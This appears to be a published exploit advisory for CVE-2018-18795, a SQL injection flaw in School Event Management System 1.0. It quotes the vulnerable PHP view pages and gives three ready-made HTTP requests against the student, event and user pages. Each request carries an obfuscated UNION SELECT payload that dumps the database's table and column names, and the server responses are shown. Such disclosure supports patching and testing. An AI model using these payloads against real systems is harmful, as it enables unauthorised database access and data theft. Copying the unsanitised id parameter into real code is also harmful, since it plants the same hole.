School Event Management System 1.0 SQL Injection

`# Exploit Title: School Event Management System 1.0 - SQL Injection  
# Dork: N/A  
# Date: 2018-10-29  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: https://www.sourcecodester.com/users/janobe  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/sems_1.zip  
# Version: 1.0  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: CVE-2018-18795  
  
# POC:   
# 1)  
# http://localhost/[PATH]/student/index.php?view=view&id=[SQL]  
#   
#[PATH]/student/view.php  
#01 <?php   
#02 $student = New Student();  
#03 $res = $student->select_student($_GET['id']);  
#04   
#05   
#06 $course = New Course();  
#07 $resCourse = $course->single_course($res->CourseID);  
#08   
#09 ?>  
GET /[PATH]/student/index.php?view=view&id=-1%27++uniOn+seLecT+%31%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2d%2d%20%2d HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=mrht5eahsjgrpgldk6c455ncm3  
Connection: keep-alive  
HTTP/1.1 200 OK  
Date: Sun, 28 Oct 2018 17:02:29 GMT  
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30  
X-Powered-By: PHP/5.6.30  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Keep-Alive: timeout=5, max=82  
Connection: Keep-Alive  
Transfer-Encoding: chunked  
Content-Type: text/html; charset=UTF-8  
  
# POC:   
# 2)  
# http://localhost/[PATH]/event/index.php?view=view&id=[SQL]  
#   
#[PATH]/event/view.php  
#01 <?php   
#02 $event = New Event();  
#03 $res = $event->single_event($_GET['id']);  
#04   
#05   
#06   
#07 ?>  
GET /[PATH]/event/index.php?view=view&id=-1%27++uniOn+seLecT+%31%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c%33%2c%34%2c%35%2c%36%2c%37%2d%2d%20%2d HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=mrht5eahsjgrpgldk6c455ncm3  
Connection: keep-alive  
HTTP/1.1 200 OK  
Date: Sun, 28 Oct 2018 17:12:15 GMT  
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30  
X-Powered-By: PHP/5.6.30  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Transfer-Encoding: chunked  
Content-Type: text/html; charset=UTF-8  
  
# POC:   
# 3)  
# http://localhost/[PATH]/user/index.php?view=view&id=[SQL]  
#   
#[PATH]/user/view.php  
#01 <?php   
#02 $user = New User();  
#03 $res = $user->single_user($_GET['id']);  
#04   
#05   
#06   
#07 ?>  
GET /[PATH]/user/index.php?view=view&id=-1%27++uniOn+seLecT+%31%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c%33%2c%34%2c%35%2c%36%2c%37%2d%2d%20%2d HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=mrht5eahsjgrpgldk6c455ncm3  
Connection: keep-alive  
HTTP/1.1 200 OK  
Date: Sun, 28 Oct 2018 17:16:52 GMT  
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30  
X-Powered-By: PHP/5.6.30  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Transfer-Encoding: chunked  
Content-Type: text/html; charset=UTF-8  
  
  
`